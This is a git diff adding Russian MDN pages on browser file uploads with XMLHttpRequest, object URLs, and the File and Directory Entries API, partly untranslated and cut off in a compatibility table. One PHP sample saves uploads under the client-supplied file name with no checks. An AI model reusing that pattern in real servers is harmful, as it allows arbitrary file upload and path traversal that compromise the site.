+<p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикрепленным в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p>
+
+<pre class="brush: js notranslate">function sendFiles() {
+  var imgs = document.querySelectorAll(".obj");
+
+  for (var i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>Строка 2 получает <span style="line-height: 1.5;">{{ domxref("NodeList") }}</span><span style="line-height: 1.5;"> в переменную </span><code style="font-size: 14px;">imgs</code><span style="line-height: 1.5;"> со всеми элементами документа, имеющих класс CSS </span><code style="font-size: 14px;">obj</code><span style="line-height: 1.5;">. В нашем случае все они будут эскизами изображений. Как только мы получим этот список, можно просто пройти по нему, создавая для каждого элемента новый экземпляр </span><code style="font-size: 14px;">FileUpload</code><span style="line-height: 1.5;">. Каждый из них отвечает за загрузку соответствующего файла.</span></p>
+
+<h3 id="Управление_процессом_загрузки_файла">Управление процессом загрузки файла</h3>
+
+<p>Функция <code>FileUpload</code> принимает на вход 2 параметра: элемент изображения и файл, из которого нужно читать данные изображения.</p>
+
+<pre class="brush: js notranslate">function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}</pre>
+
+<p>Функция <code>FileUpload()</code>, показанная выше, создает объект Throbber, который используется для отображения хода загрузки, а затем создает {{ domxref("XMLHttpRequest") }} для управления загрузкой данных.</p>
+
+<p>Перед началом загрузки данных выполняются несколько шагов для подготовки:</p>
+
+<ol>
+ <li>На <code>XMLHttpRequest</code> устанавливается обработчик события <code>progress</code> для обновления индикатора хода загрузки новыми значениями процента выполнения, так что по мере хода загрузки, индикатор будет обновляться, отображая последнюю информацию.</li>
+ <li>На <code>XMLHttpRequest</code>'s устанавливается обработчик события <code>load</code> для установки индикатора загрузки в значение 100%, чтобы убедиться, что индикатор действительно установлен в 100% (в случае проблем детализации в ходе процесса). Затем обработчик удаляет индикатор загрузки, т.к. он более не нужен. Поэтому индикатор исчезает как только загрузка завершена.</li>
+ <li>Запрос на загрузку файла изображения открывается вызовом метода <code>XMLHttpRequest</code>'s <code>open()</code> для начала создания POST-запроса.</li>
+ <li>Тип MIME для загрузки устанавливается вызовом функции <code>XMLHttpRequest</code> <code>overrideMimeType()</code>. В этом случае мы используем общий тип MIME type; вам может быть нужно или не нужно вообще устанавливать тип MIME в зависимости от вашего случая.</li>
+ <li>Объект <code>FileReader</code> используется для преобразования файла в двоичную строку.</li>
+ <li>И в завершение, когда содержимое загружено, вызывается функция <code>XMLHttpRequest</code> <code>send()</code> для отправки содержимого файла.</li>
+</ol>
+
+<h3 id="Асинхронная_обработка_процесса_загрузки">Асинхронная обработка процесса загрузки</h3>
+
+<pre class="brush: js notranslate">&lt;?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="text/javascript"&gt;
+        function sendFile(file) {
+            var uri = "/index.php";
+            var xhr = new XMLHttpRequest();
+            var fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    // Handle response.
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            var dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                var filesArray = event.dataTransfer.files;
+                for (var i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Пример_Использование_URL_объектов_для_отображения_PDF">Пример: Использование URL объектов для отображения PDF</h2>
+
+<p>URL объектов могут быть использованы не только для изображений! Также этот прием можно использовать и для других ресурсов, которые могут отображаться браузером, например, файлы PDF.</p>
+
+<p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p>
+
+<pre class="brush: html notranslate">&lt;iframe id="viewer"&gt;
+</pre>
+
+<p>А здесь изменение атрибута <code>src</code>:</p>
+
+<pre class="brush: js notranslate">var obj_url = window.URL.createObjectURL(blob);
+var iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Пример_Использование_URL_объектов_с_другими_типами_файлов">Пример: Использование URL объектов с другими типами файлов</h2>
+
+<p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведен пример как загружается видео:</p>
+
+<pre class="brush: js notranslate">var video = document.getElementById('video');
+var obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#file-upload-state-%28type=file%29" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (Рабочие материалы HTML 5)</li>
+ <li><a href="http://www.w3.org/TR/FileAPI/" title="http://www.w3.org/TR/FileAPI/">File API</a></li>
+</ul>
+
+<h2 id="Дополнительные_ссылки">Дополнительные ссылки</h2>
+
+<ul>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("FileList") }}</li>
+ <li>{{ domxref("FileReader") }}</li>
+ <li>{{DOMxRef("URL")}}</li>
+ <li>{{DOMxRef("XMLHttpRequest")}}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li><a class="external" href="http://www.jquery.com/" title="http://www.jquery.com/">jQuery</a> JavaScript library</li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
+
+<p>{{ languages( { "zh-cn": "zh-cn/Using_files_from_web_applications", "ja": "ja/Using_files_from_web_applications" } ) }}</p>
diff --git a/files/ru/web/api/file_and_directory_entries_api/index.html b/files/ru/web/api/file_and_directory_entries_api/index.html
new file mode 100644
index 0000000000..e876abacfc
--- /dev/null
+++ b/files/ru/web/api/file_and_directory_entries_api/index.html
@@ -0,0 +1,129 @@
+---
+title: File and Directory Entries API
+slug: Web/API/File_and_Directory_Entries_API
+tags:
+  - API
+  - File System API
+  - File and Directory Entries API
+  - Files
+  - NeedsTranslation
+  - Non-standard
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/API/File_and_Directory_Entries_API
+---
+<p>{{DefaultAPISidebar("File System API")}}</p>
+
+<p>{{Non-standard_Header}}</p>
+
+<p>API доступа к файлам и директориям имитирует локальную файловую систему, в которой веб-приложения могут перемещаться и получать доступ к файлам. Вы можете разрабатывать приложения, которые читают, записывают и создают файлы и/или каталоги в виртуальной изолированной файловой системе. </p>
+
+<div class="note">
+<p>Поскольку это нестандартный API, спецификация которого в настоящее время не входит в стандарт, важно помнить, что не все браузеры реализуют его, а те, которые поддерживают, могут реализовывать только небольшие его части. Дополнительные сведения в разделе {{anch("Browser compatibility")}} </p>
+</div>
+
+<p>Существуют два очень похожих API в зависимости от того, хотите ли вы асинхронного или синхронного поведения. Синхронный API предназначен для использования внутри {{domxref("Worker")}} и будет возвращать желаемые значения. Асинхронный API не будет блокировать выполнение кода, а API не будет возвращать значения; вместо этого вам нужно будет предоставить функцию обратного вызова для обработки одного или нескольких ответов.</p>
+
+<div class="warning">
+<p>Firefox реализация File System API очень ограничена: не поддерживается создание файлов. Доступ к вайлам осуществляется только через {{HTMLElement("input")}} элемент (см. так же {{domxref("HTMLInputElement")}}) или путем перетаскивания файла/папки (<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>). Firefox также не реализует синхронный API. Внимательно проверьте совместимость браузера для любой части API, которую вы используете. ( см. <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">Поддержка File System API в Firefox</a>)</p>
+</div>
+
+<h2 id="Получение_доступа_к_файловой_системе">Получение доступа к файловой системе</h2>
+
+<p>Есть два способа получить доступ к файловой системе, определенным в текущем проекте спецификации:</p>
+
+<ul>
+ <li>При обработке события {{event("drop")}} вы можете вызвать {{domxref("DataTransferItem.webkitGetAsEntry()")}} что бы получить {{domxref("FileSystemEntry")}} для "брошенного" элемента. Если результат не <code>null</code>, то это брошенный файл или каталог, и вы можете использовать вызовы файловой системы для работы с ним.</li>
+ <li>Свойство {{domxref("HTMLInputElement.webkitEntries")}} позволяет получить объект {{domxref("FileSystemFileEntry")}} для выбранного файла, но только если они перетаскиваются в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1326031" rel="noopener">средство выбора</a> файлов ( <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1326031" rel="noopener">баг 1326031</a> ). Если {{domxref("HTMLInputElement.webkitdirectory")}} является <code>true</code>, то {{HTMLElement("input")}} работает для выбора директорий, и вы можете получить объект {{domxref("FileSystemDirectoryEntry")}} для каждой выбранной директории.</li>
+</ul>
+
+<h2 id="Асинхронный_API">Асинхронный API</h2>
+
+<p>Асинхронный API следует использовать для большинства операций, чтобы доступ к файловой системе не блокировал весь браузер, если он используется в основном потоке. Он включает в себя следующие интерфейсы:</p>
+
+<dl>
+ <dt>{{domxref("FileSystem")}}</dt>
+ <dd>Представляет файловую систему.</dd>
+ <dt>{{domxref("FileSystemEntry")}}</dt>
+ <dd>Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги.</dd>
+ <dt>{{domxref("FileSystemFileEntry")}}</dt>
+ <dd>Представляет отдельный файл в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
+ <dd>Представляет отдельный каталог в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryReader")}}</dt>
+ <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd>
+ <dt>{{domxref("FileSystemFlags")}}</dt>
+ <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определенных методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd>
+ <dt>{{domxref("FileError")}}</dt>
+ <dd>Представляет ошибку, которая возникает при вызовах асинхронной файловой системы.</dd>
+</dl>
+
+<p>Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны внутри объекта {{domxref("Window")}} и реализованы в {{domxref("LocalFileSystem")}}: <code>requestFileSystem()</code> и <code>resolveLocalFileSystemURL()</code>.</p>
+
+<h2 id="Синхронный_API">Синхронный API</h2>
+
+<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат свое выполнение, и просто возвращают результаты вместо использования обратных вызовов. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p>
+
+<dl>
+ <dt>{{domxref("FileSystemSync")}}</dt>
+ <dd>Представляет файловую систему.</dd>
+ <dt>{{domxref("FileSystemEntrySync")}}</dt>
+ <dd>Базовый интерфейс, представляющий одну запись в файловой системе. Это реализуется другими интерфейсами, которые представляют файлы или каталоги. {{domxref("EntrySync")}}</dd>
+ <dt>{{domxref("FileSystemFileEntrySync")}}</dt>
+ <dd>Представляет отдельный файл в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
+ <dd>Представляет отдельный каталог в файловой системе.</dd>
+ <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
+ <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd>
+ <dt>{{domxref("FileException")}}</dt>
+ <dd>Представляет ошибку, которая возникает при вызовах синхронной файловой системы.</dd>
+</dl>
+
+<p>Также есть две глобальные функции (которые в настоящее время не являются частью спецификации и реализуются только в Google Chrome). Они доступны в объекте {{domxref("Worker")}} и реализованы в{{domxref("LocalFileSystemSync")}}: <code>requestFileSystemSync()</code> и <code>resolveLocalFileSystemSyncURL()</code>.</p>
+
+<h2 id="Другие_интерфейсы">Другие интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("LocalFileSystem")}}</dt>
+ <dd>Предоставляет вам доступ к изолированной файловой системе.</dd>
+ <dt>{{domxref("LocalFileSystemSync")}}</dt>
+ <dt></dt>
+ <dt>{{domxref("LockedFile")}}</dt>
+ <dd>Предоставляет инструменты для работы с данным файлом со всеми необходимыми блокировками.</dd>
+ <dt>{{domxref("Metadata")}}{{experimental_inline}}</dt>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Этот API не имеет официальной спецификации W3C или WHATWG.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.FileSystem", 0)}}</p>
+
+<p>{{Compat("api.FileSystemSync", 0)}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File and Directory Entries API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a></li>
+</ul>
diff --git a/files/ru/web/api/file_and_directory_entries_api/введение/index.html b/files/ru/web/api/file_and_directory_entries_api/введение/index.html
new file mode 100644
index 0000000000..e5c76758c1
--- /dev/null
+++ b/files/ru/web/api/file_and_directory_entries_api/введение/index.html
@@ -0,0 +1,291 @@
+---
+title: Введение в API файлов и каталогов
+slug: Web/API/File_and_Directory_Entries_API/Введение
+translation_of: Web/API/File_and_Directory_Entries_API/Introduction
+---
+<div>{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}</div>
+
+<p><span class="seoSummary">API файлов и каталогов эмулирует для веб-приложений локальную файловую систему. У вас есть возможность создания приложений, которые могут читать, записывать и создавать файлы и директории в изолированной виртуальной файловой системе.</span></p>
+
+<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объемы данных. </p>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>В данном документе приведены основные концепции и терминология API файлов и каталогов, которые должны показать общую картину и ключевые идеи. Также описаны <a href="#Ограничения">ограничения</a>, несоблюдение которых может привести к появлению ошибок безопасности. Используемая терминология описана в разделе <a href="#Определения">Определений</a>.</p>
+
+<p>Ссылки на страницы данного API приведены в <a href="https://developer.mozilla.org/en-US/docs/Web/API/FileSystem">Ссылочном справочнике</a>.</p>
+
+<p>Спецификация находится на стадии разработки и будет изменяться в будущем.</p>
+
+<h2 id="Обзор">Обзор</h2>
+
+<p>Программный интерфейс файлов и каталогов включает асинхронные и синхронные методы. Асинхронное API может быть использовано в тех случаях, когда нежелательно, чтобы длительные вычисления блокировали весь пользовательский интерфейс. В свою очередь синхронное API предлагает более простую модель программирования, однако оно должно использоваться только с объектами <a href="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a>.</p>
+
+<h3 id="Применимость_API">Применимость API</h3>
+
+<p>API файлов и каталогов является важным программным интерфейсом по следующим причинам:</p>
+
+<ul>
+ <li>Благодаря ему у приложений могут быть автономные (offline) функции, а также функции хранения, позволяющие обрабатывать большие наборы двоичных данных.</li>
+ <li>У приложений появляется возможность предварительной загрузки и кеширования ресурсов, что повышает из производительность.</li>
+ <li>У пользователя приложения появляется возможность напрямую редактировать файлы, расположенные у него на компьютере.</li>
+ <li>Пользователям предоставляется интерфейс работы с файловым хранилищем, который схож с файловой системой.</li>
+</ul>
+
+<p>Примеры таких приложений приведены в разделе <a href="#Примеры использования">Примеры использования</a>.</p>
+
+<h3 id="API_файлов_и_каталогов_и_другие_программные_интерфейсы_хранения_данных">API файлов и каталогов и другие программные интерфейсы хранения данных</h3>
+
+<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объемы данных, по следующим причинам:</p>
+
+<ul>
+ <li>Данное API предлагает возможность хранения данных на стороне клиента в вариантах использования, которые не могут быть решены с помощью баз данных. Например, данное API является намного более производительным в случае хранения и обработки больших файлов.</li>
+ <li>Firefox поддерживает хранение бинарных данных в IndexedDB, в то время как в Chrome эта функция по-прежнему находится на стадии разработки. Если Chrome является одним из целевых браузеров для вашего приложения и у вас есть необходимость хранения бинарных данных, то вы можете использовать только либо данное API, либо AppCache. В свою очередь хранилище AppCache не предоставляет возможности локальных изменений, а также тонкой настройки на стороне клиента.</li>
+ <li>В Chrome у вас есть возможность использования данного API вместе с программным интерфейсом управления квотами, позволяющее управлять квотами хранилища.</li>
+</ul>
+
+<h3 id="sample" name="sample"><a id="Примеры использования" name="Примеры использования"></a>Примеры использования</h3>
+
+<p>Далее приведены лишь некоторые случаи, в которых можно использовать API файлов и каталогов:</p>
+
+<ul>
+ <li>Приложения с постоянной загрузкой.
+  <ul>
+   <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочередную загрузку. </li>
+   <li>Приложение может продолжить загрузку после закрытия или аварийного сбоя браузера, прерывание связи или завершения работы компьютера.</li>
+  </ul>
+ </li>
+ <li>Видеоигры или другие приложения с большим количеством медиа ресурсов.
+  <ul>
+   <li>Приложение скачивает один или несколько больших архивов с ресурсами и локально его распаковывает.</li>
+   <li>Приложение осуществляет предварительную фоновую загрузку ресурсов, благодаря чему у пользователя нет необходимости ожидать их загрузки для начала следующего уровня.</li>
+  </ul>
+ </li>
+ <li>Аудио- или фоторедактор с возможностью автономной работы или локальным кэшем.
+  <ul>
+   <li>Приложение может редактировать файлы без полной их перезаписи (например, ID3/EXIF теги).</li>
+  </ul>
+ </li>
+ <li>Offline видеопроигрыватель.
+  <ul>
+   <li>Приложение может загружать большие (&gt; 1 ГБ) файлы.</li>
+   <li>Приложение может начать воспроизведение частично загруженного файла.</li>
+  </ul>
+ </li>
+ <li>Offline клиент электронной почты.
+  <ul>
+   <li>Возможность загрузки и локального хранения прикреплений.</li>
+   <li>Возможность кеширования прикреплений для более поздней отправки.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="concepts" name="concepts">Big concepts</h2>
+
+<p>Before you start using the File and Directory Entries API, you need to understand a few concepts:</p>
+
+<ul>
+ <li><a href="#virtual">The File and Directory Entries API is a virtual representation of a file system</a></li>
+ <li><a href="#storage">The File and Directory Entries API can use different storage types</a></li>
+ <li><a href="#quota">Browsers impose storage quota</a></li>
+ <li><a href="#versions">The File and Directory Entries API has asynchronous and synchronous versions</a></li>
+ <li><a href="#errorcallbacks">When using the asynchronous API, always use the error callbacks</a></li>
+ <li><a href="#interfaces">The File and Directory Entries API interacts with other APIs</a></li>
+ <li><a href="#case">The File and Directory Entries API is case-sensitive</a></li>
+</ul>
+
+<h3 id="virtual" name="virtual">The File and Directory Entries API is a virtual representation of a file system</h3>
+
+<p>The API doesn't give you access to the local file system, nor is the sandbox really a section of the file system. Instead, it is a virtualized file system that looks like a full-fledged file system to the web app. It does not necessarily have a relationship to the local file system outside the browser. </p>
+
+<p>What this means is that a web app and a desktop app cannot share the same file at the same time. The API does not let your web app reach outside the browser to files that desktop apps can also work on. You can, however, export a file from a web app to a desktop app. For example, you can use the File API, create a blob, redirect an iframe to the blob, and invoke the download manager.</p>
+
+<h3 id="storage" name="storage">The File and Directory Entries API can use different storage types</h3>
+
+<p>An application can request temporary or persistent storage. Temporary storage is easier to get, because the browser just gives it to you, but it is limited and can be deleted by the browser when it runs out of space. Persistent storage, on the other hand, might offer you larger space that can only be deleted by the user, but it requires the user to grant you permission.</p>
+
+<p>Use temporary storage for caching and persistent storage for data that you want your app to keep—such as user-generated or unique data.</p>
+
+<h3 id="quota" name="quota">Browsers impose storage quotas</h3>
+
+<p>To prevent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.</p>
+
+<p>How storage space is granted or allocated and how you can manage storage are idiosyncratic to the browser, so you need to check the respective documentation of the browser. Google Chrome, for example, allows temporary storage beyond the 5 MB required in the specifications and supports the Quota Management API. To learn more about the Chrome-specific implementation, see <a class="external" href="http://code.google.com/chrome/whitepapers/storage.html">Managing HTML5 Offline Storage</a>.</p>
+
+<h3 id="version" name="version">The File and Directory Entries API has asynchronous and synchronous versions</h3>
+
+<p>The File and Directory Entries API comes with asynchronous and synchronous versions. Both versions of the API offer the same capabilities and features. In fact, they are almost alike, except for a few differences.</p>
+
+<ul>
+ <li><strong>WebWorkers.</strong> The asynchronous API can be used in either the document or <a href="/En/Using_web_workers" rel="internal" title="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a> context, while the synchronous API is for use with WebWorkers only. </li>
+ <li><strong>Callbacks</strong>. The asynchronous API doesn't give you data by returning values; instead, you have to pass a callback function. You send requests for operations to happen, and get notified by callbacks. In contrast, the synchronous API does not use callbacks because the API methods return values.</li>
+ <li><strong>Global methods of the asynchronous and synchronous APIs</strong>. The asynchronous API has the following global methods: <code>requestFileSystem()</code> and <code>resolveLocalFileSystemURL()</code>. These methods are members of both the window object and the worker global scope. The synchronous API, on the other hand, uses the following methods:  <code>requestFileSystemSync()</code> and  <code>resolveLocalFileSystemSyncURL()</code>. These synchronous methods are members of the worker's global scope only, not the window object.</li>
+</ul>
+
+<p>The synchronous API can be simpler for some tasks. Its direct, in-order programming model can make code easier to read. The drawback of synchronous API has to do with its interactions with Web Workers, which has some limitations.</p>
+
+<h3 id="errorcallbacks" name="errorcallbacks">When using the asynchronous API, always use the error callbacks</h3>
+
+<p>When using the asynchronous API, always use the error callbacks. Although the error callbacks for the methods are optional parameters, they are not optional for your sanity. You want to know why your calls failed. At minimum, handle the errors to provide error messages, so you'll have an idea of what's going on.</p>
+
+<h3 id="interfaces" name="interfaces">The File and Directory Entries API interacts with other APIs</h3>
+
+<p>The File and Directory Entries API is designed to be used with other APIs and elements on the web platform. For example, you are likely to use one of the following:</p>
+
+<ul>
+ <li>XMLHttpRequest (such as the <code>send()</code> method for file and blob objects)</li>
+ <li>Drag and Drop API</li>
+ <li>Web Workers (for the synchronous version of the File and Directory Entries API)</li>
+ <li>The <code>input</code> element (to programmatically obtain a list of files from the element)</li>
+</ul>
+
+<h3 id="case" name="case">The File and Directory Entries API is case sensitive</h3>
+
+<div>The filesystem API is case-sensitive, and case-preserving. </div>
+
+<p> </p>
+
+<h2 id="restrictions" name="restrictions"><a id="Ограничения" name="Ограничения"></a>Ограничения</h2>
+
+<p>For security reasons, browsers impose restrictions on file access. If you ignore them, you will get security errors.</p>
+
+<ul>
+ <li><a href="#origin">The File and Directory Entries API adheres to the same-origin policy</a></li>
+ <li><a href="#execute">The File and Directory Entries API does not let you create and rename executable files</a></li>
+ <li><a href="#sandbox">The file system is sandboxed</a></li>
+ <li><a href="#file">You cannot run your app from file://</a></li>
+</ul>
+
+<h3 id="origin" name="origin">The File and Directory Entries API adheres to the same-origin policy</h3>
+
+<p>An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of file systems.</p>
+
+<p>The security boundary imposed on file system prevents applications from accessing data with a different origin. This protects private data by preventing access and deletion. For example, while an app or a page in <a href="http://www.example.com/app/" rel="external" title="http://www.example.com/app/">http://www.example.com/app/</a> can access files from <a href="http://www.example.com/dir/" rel="external" title="http://www.example.com/dir/">http://www.example.com/dir/</a>, because they have the same origin, it cannot retrieve files from <a href="http://www.example.com:8080/dir/" rel="external" title="http://www.example.com:8080/dir/">http://www.example.com:8080/dir/</a> (different port) or <a href="https://www.example.com/dir/" rel="external" title="https://www.example.com/dir/">https://www.example.com/dir/</a> (different protocol).</p>
+
+<h3 id="execute" name="execute">The File and Directory Entries API does not let you create and rename executable files</h3>
+
+<p>To prevent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the File and Directory Entries API. </p>
+
+<h3 id="sandbox" name="sandbox">The file system is sandboxed</h3>
+
+<p>Because the file system is sandboxed, a web app cannot access another app's files. You also cannot read or write files to an arbitrary folder (for example, My Pictures and My Documents) on the user's hard drive.</p>
+
+<h3 id="file" name="file">You cannot run your app from file://</h3>
+
+<p>You cannot run your app locally from <code>file://</code>. If you do so, the browser throws errors or your app fails silently. This restriction also applies to many of the file APIs, including BlobBuilder and FileReader.</p>
+
+<p>For testing purposes, you can bypass the restriction on Chrome by starting the browser with the <code>--allow-file-access-from-files</code> flag. Use this flag only for this purpose.</p>
+
+<h2 id="definitions" name="definitions"><a id="Определения" name="Определения"></a>Определения</h2>
+
+<p>This section defines and explains terms used in the File and Directory Entries API.</p>
+
+<dl>
+ <dt><a name="gloss_blob">blob</a></dt>
+ <dd>Stands for binary large object. A blob is a set of binary data that is stored a single object. It is a general-purpose way to reference binary data in web applications. A blob can be an image or an audio file.</dd>
+ <dt><a name="gloss_Blob">Blob</a></dt>
+ <dd>Blob—with a capital B—is a data structure that is immutable, which means that binary data referenced by a Blob cannot be modified directly. This makes Blobs act predictably when they are passed to asynchronous APIs.</dd>
+ <dt><a name="gloss_persistent_storage">persistent storage</a></dt>
+ <dd>Persistent storage is storage that stays in the browser unless the user expunges it or the app deletes it. </dd>
+ <dt><a name="gloss_temporary_storage">temporary storage</a></dt>
+ <dd>Transient storage is available to any web app. It is automatic and does not need to be requested, but the browser can delete the storage without warning.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>Draft of proposed API</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>This API has no official W3C or WHATWG specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoDesktop(50) }}<sup>[1]</sup></td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
